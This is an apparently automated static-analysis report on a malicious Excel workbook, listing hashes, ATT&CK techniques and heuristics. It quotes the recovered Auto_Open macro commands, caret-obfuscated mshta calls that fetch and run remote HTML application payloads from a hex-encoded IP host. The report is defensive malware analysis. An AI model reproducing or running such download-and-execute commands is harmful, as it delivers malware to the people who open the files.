Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 9190456e5689cea5…

MALICIOUS

Office (OLE) / .XLS

65.7 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: d97622c514a1da90a511471325b5ee59 SHA-1: ba2d9e7ad0ce045b880e7f7cdc95c9aa665587ed SHA-256: 9190456e5689cea51d09f5c4bcd9e52d2a5417487b9bafe37a384c357e434235
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1218.005 System Binary Proxy Execution: Mshta T1105 Ingress Tool Transfer

The sample uses a social engineering lure instructing the user to 'Enable Content' to view a protected document. The embedded Excel 4.0 (XLM) macros utilize the Auto_Open trigger to execute the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which uses caret-obfuscated mshta to fetch and execute a remote HTML application payload from the most likely hosts 0xc12a24f5 and the specific paths /c.html and /cc.html.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes